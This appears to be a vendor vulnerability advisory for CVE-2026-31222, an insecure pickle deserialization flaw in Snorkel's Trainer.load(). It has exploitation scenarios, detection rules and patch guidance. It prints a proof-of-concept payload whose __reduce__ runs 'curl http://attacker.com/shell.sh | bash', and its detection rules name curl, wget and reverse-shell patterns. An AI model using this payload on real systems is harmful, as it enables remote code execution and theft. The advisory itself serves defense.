CVE-2026-31222
Executive Summary
CVE-2026-31222 is a critical insecure deserialization vulnerability (CWE-502) affecting the Snorkel machine learning library through version 0.10.0. The flaw resides in the Trainer.load() method of the Trainer class, which invokes torch.load() without the security-restrictive weights_only=True parameter, permitting arbitrary Python object deserialization via the Pickle module. Successful exploitation results in remote code execution (RCE) on any system that loads a malicious model checkpoint file, with a CVSS score of 8.8 (High) reflecting the high confidentiality, integrity, and availability impact.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The vulnerability stems from Snorkel's Trainer.load() method, which is responsible for restoring model training state from checkpoint files. Under the hood, this method delegates to PyTorch's torch.load() function. In PyTorch versions prior to 2.6, the default behavior of torch.load() is to trust the pickle stream entirely, reconstructing arbitrary Python objects from the serialized data. The weights_only=True parameter, which restricts deserialization to a safe allowlist of tensor and primitive types, is not enabled in Snorkel's implementation.
The attack surface is the Pickle format itself. When a pickle stream is deserialized, the __reduce__ method of any class can be invoked, which can specify arbitrary callables and arguments to be executed during the unpickling process. A malicious actor crafts a pickle file where the global os.system or subprocess.Popen is specified as the reduce callable, with a shell command as the argument. Upon torch.load() processing this file, the command executes in the context of the user running the Snorkel application.
The vulnerability is particularly insidious because model files are commonly shared artifacts in the ML ecosystem — via model zoos, Hugging Face Hub, email attachments, or internal storage. The .pth or .pt file extensions offer no inherent protection, and users have no way to visually inspect a binary pickle for malicious content. The lack of a patch confidence above 2/4 (CLAIMED) indicates that while a fix may exist upstream (per OSV), it has not been independently verified, and version 0.10.0 remains the last confirmed release.
Relevant code path:
class Trainer:
def load(self, model_path):
checkpoint = torch.load(model_path) # VULNERABLE: no weights_only=True
# ... restore model state from checkpoint ...
Attack surface includes:
- Any application or pipeline that calls
Trainer.load()on untrusted model files - Shared ML infrastructure where model checkpoints are exchanged between teams
- CI/CD pipelines that automatically load model artifacts
- Web services exposing model loading functionality
Exploitation Scenarios
Scenario 1: Malicious Model File Distribution via Model Hub
Reconnaissance: The attacker identifies a target organization that uses Snorkel for document classification or relation extraction. They enumerate public model repositories, Hugging Face uploads, or internal model distribution channels used by the organization.
Weaponization: The attacker constructs a malicious pickle file that masquerades as a legitimate Snorkel model checkpoint. They create a Python file that builds a pickle payload:
import pickle, os, torch class Exploit: def __reduce__(self): return (os.system, ('curl http://attacker.com/shell.sh | bash',)) # Wrap the malicious object inside a valid PyTorch checkpoint structure payload = {'model_state': Exploit(), 'optimizer_state': {}} torch.save(payload, 'snorkel-tuned-model.pth')Delivery: The attacker uploads this file to a public model repository, a shared company S3 bucket, or sends it via a phishing email with a legitimate-sounding filename like
relation_extractor_finetuned.pth.Trigger: A data scientist or MLOps engineer downloads the model and uses Snorkel's API:
from snorkel.classification import Trainer trainer = Trainer() trainer.load('snorkel-tuned-model.pth') # Triggers deserializationExecution: The
__reduce__method executesos.system()with the attacker's command, downloading and executing a reverse shell or persistence mechanism on the victim's workstation or GPU server.Post-Exploitation: The attacker gains a foothold on a high-value ML development environment, which often contains sensitive training data, proprietary model weights, and connection credentials to cloud databases. They pivot to exfiltrate datasets or inject backdoors into production models.
Scenario 2: Compromised Model Repository / Supply Chain Attack
The attacker compromises a CI/CD pipeline or model registry used by the target. They replace a legitimate checkpoint with a malicious one, maintaining the same filename and directory structure.
Automated training pipelines that regularly load the latest checkpoint automatically trigger the exploit during the next training run, providing the attacker with code execution on GPU clusters.
The attacker uses the compromised GPU nodes to mine cryptocurrency or, more concerningly, to intercept training data being processed, exfiltrating it via outbound network connections.
Impact Assessment
The CVSS v3.1 base score of 8.8 (High) is driven by:
- Attack Vector: Network (AV:N) — the malicious pickle file can be delivered remotely
- Attack Complexity: Low (AC:L) — no special conditions required beyond user loading the file
- Privileges Required: None (PR:N) — no authentication needed to craft the payload
- User Interaction: Required (UI:R) — the victim must load the malicious file
- Confidentiality/Integrity/Availability: High (C:H/I:H/A:H) — full RCE
Business Impact:
- Data Breach: ML environments contain sensitive training data and proprietary model IP. An attacker with code execution can exfiltrate both.
- Model Integrity Compromise: The attacker can poison downstream models by modifying training data or model weights, causing incorrect predictions that may have regulatory or safety consequences.
- Operational Disruption: GPU compute resources are expensive; an attacker can co-opt them for cryptomining or denial of service.
- Supply Chain Risk: If the compromised model is distributed to customers or partners, the malicious pickle can propagate to third-party environments.
Affected Systems: All deployments of Snorkel ≤ 0.10.0, including:
- Standalone Python applications using Snorkel
- ML pipelines in Apache Airflow, Kubeflow, or similar orchestration tools
- Jupyter notebook environments used by data science teams
- Custom ML microservices exposing model loading endpoints
Blast Radius: High — any system that loads a Snorkel model checkpoint is vulnerable, and the ML ecosystem's culture of sharing model files amplifies the attack surface.
Detection Guidance
Sigma Rule
title: Snorkel Trainer.load Insecure Deserialization Attempt
id: c6f4a1e2-8a3b-4c5d-9e0f-1a2b3c4d5e6f
status: experimental
description: Detects attempts to load pickle files through Snorkel's vulnerable Trainer.load method, identifying suspicious pickle operations
author: Valtersit Threat Intelligence
date: 2026/01/15
logsource:
category: process_creation
product: linux
detection:
selection_python:
Image|endswith:
- '/python3'
- '/python'
- 'python.exe'
selection_torch:
CommandLine|contains:
- 'torch.load'
- 'Trainer.load'
selection_pickle_marker:
CommandLine|contains:
- 'reduce'
- 'pickle'
- 'os.system'
- 'subprocess'
condition: selection_python and selection_torch and selection_pickle_marker
level: high
falsepositives:
- Legitimate Python debugging scripts inspecting pickle contents
tags:
- attack.t1203
- attack.execution
- cve.2026.31222
YARA Rule
rule CVE_2026_31222_Snorkel_Pickle_Payload {
meta:
author = "Valtersit Threat Intelligence"
description = "Detects pickle payloads targeting Snorkel Trainer.load CVE-2026-31222"
date = "2026-01-15"
reference = "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31222"
severity = "high"
strings:
$opcode_proto = { 80 04 95 } // pickle PROTO opcode
$opcode_reduce = { 52 00 } // pickle REDUCE opcode
$os_system = "os.system" ascii
$subprocess = "subprocess.Popen" ascii
$torch_load = "torch.load" ascii
$trainer_load = "Trainer.load" ascii
$curl = "curl " ascii
$wget = "wget " ascii
$bash = "bash -c" ascii
$reverse_shell = "rev_shell" ascii nocase
condition:
uint16(0) == 0x5080 and
(
($opcode_reduce at 0..filesize and ($os_system or $subprocess)) or
($curl or $wget or $bash or $reverse_shell)
) and
filesize > 100
}
Suricata IDS Rule
alert http any any -> any any (
msg:"CVE-2026-31222 - Snorkel Malicious Model Download Attempt";
flow:established,to_server;
content:".pth"; http_uri;
content:".pt"; http_uri;
content:"snorkel"; http_uri;
content:"model"; http_uri;
pcre:"/\.(pth|pt|ckpt|checkpoint)\b/i";
classtype:attempted-user;
sid:202631222;
rev:1;
metadata:created_at 2026_01_15, updated_at 2026_01_15, cve CVE-2026-31222;
)
Elastic Detection
// Detect Python processes invoking os.system or subprocess right after loading a pickle file
sequence by process.entity_id with maxspan=5s
[process where event.type == "start" and process.name : ("python*", "python3*")]
[file where event.type == "creation" and file.extension : ("pth", "pt", "ckpt") and file.name : "*model*"]
[process where event.type == "start" and (process.args : ("os.system*", "-c", "curl*", "wget*", "bash -c*") or process.name : ("sh", "bash", "curl", "wget"))]
Splunk SPL Query
index=main sourcetype=python_logs OR sourcetype=syslog
| where process_name IN ("python", "python3", "python.exe")
| search "torch.load" OR "Trainer.load" OR "pickle.load"
| rex field=_raw "(?<imported_modules>.*os.*)"
| search imported_modules="*os.system*" OR "*subprocess*" OR "*curl*" OR "*wget*"
| eval threat_score = case(
match(_raw, "os\.system"), 90,
match(_raw, "subprocess\.Popen"), 85,
match(_raw, "curl.*\|.*bash"), 100,
true, 50
)
| where threat_score >= 80
| table _time, host, user, process_name, command_line, threat_score
| sort -_time
Wazuh OSSEC Rule
<group name="python,ml,snorkel,">
<rule id="312220" level="12">
<if_sid>571</if_sid>
<match>torch\.load|Trainer\.load|pickle\.load</match>
<regex>os\.system|subprocess\.Popen|curl\s+\S+\s*\|.*bash|wget\s+\S+\s*\|.*bash</regex>
<description>CVE-2026-31222: Insecure deserialization attempt in Snorkel Trainer.load detected</description>
<mitre>
<id>T1203</id>
</mitre>
<group>attack_execution,</group>
<info type="cve">CVE-2026-31222</info>
</rule>
<rule id="312221" level="8" frequency="5" timeframe="60">
<if_matched_sid>312220</if_matched_sid>
<same_source_ip/>
<description>CVE-2026-31222: Multiple deserialization attempts from same source detected</description>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed))
1. Immediate Mitigations (0-24 hours):
- Do not load model files from untrusted sources. Implement a policy requiring all model checkpoints to be vetted before loading into any Snorkel environment.
- Restrict file permissions: Use file integrity monitoring to detect unauthorized modifications to model files in shared directories.
- Apply network egress filtering: Block outbound connections to known malicious IPs and domains to limit the impact of successful exploitation.
- Monitor pickle loads: Deploy the detection rules above to alert on suspicious
torch.load()activity.
2. Patch/Upgrade Steps:
- Monitor OSV and Snorkel's GitHub repository for a patched release. When available, upgrade to a version that either:
- Enables
weights_only=TrueinTrainer.load(), OR - Migrates to
safetensorsformat or another secure serialization method.
- Enables
- If no patched version exists, apply the following code patch directly to your local installation:
# In snorkel/classification/trainer.py, modify: checkpoint = torch.load(model_path, weights_only=True) - Alternatively, vendor the library into your internal repository and maintain a custom fork with the fix.
3. Long-Term Hardening:
- Adopt secure serialization standards: Migrate all model persistence to
safetensorsformat, which is pickle-free and safe for loading. - Implement a model provenance system: Require cryptographic signing of all model files and verify signatures before loading.
- Sandbox model loading: Run model loading in isolated environments (containers with no network access, or in a gVisor/Firecracker microVM) to contain any exploitation.
- Establish a vulnerability disclosure program: Engage with the Snorkel maintainers to ensure security patches are released in a timely manner.
- Conduct regular supply chain audits: Scan all third-party ML libraries and model artifacts for known vulnerabilities and malicious content.
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-31222
- OSV Database: https://osv.dev/vulnerability/CVE-2026-31222
- Snorkel GitHub Repository: https://github.com/snorkel-team/snorkel
- PyTorch
torch.load()Documentation (security notes): https://pytorch.org/docs/main/generated/torch.load.html - CWE-502 Deserialization of Untrusted Data: https://cwe.mitre.org/data/definitions/502.html
As of the publication date of this report, CVE-2026-31222 is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog, and no public exploit code or Nuclei template has been observed. The EPSS score of 0.00392 (32.0th percentile) indicates a relatively low immediate exploitation probability, but this assessment may change if active exploitation is detected or if the research community publishes a PoC. No specific threat actor campaigns have been publicly attributed to this vulnerability at this time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.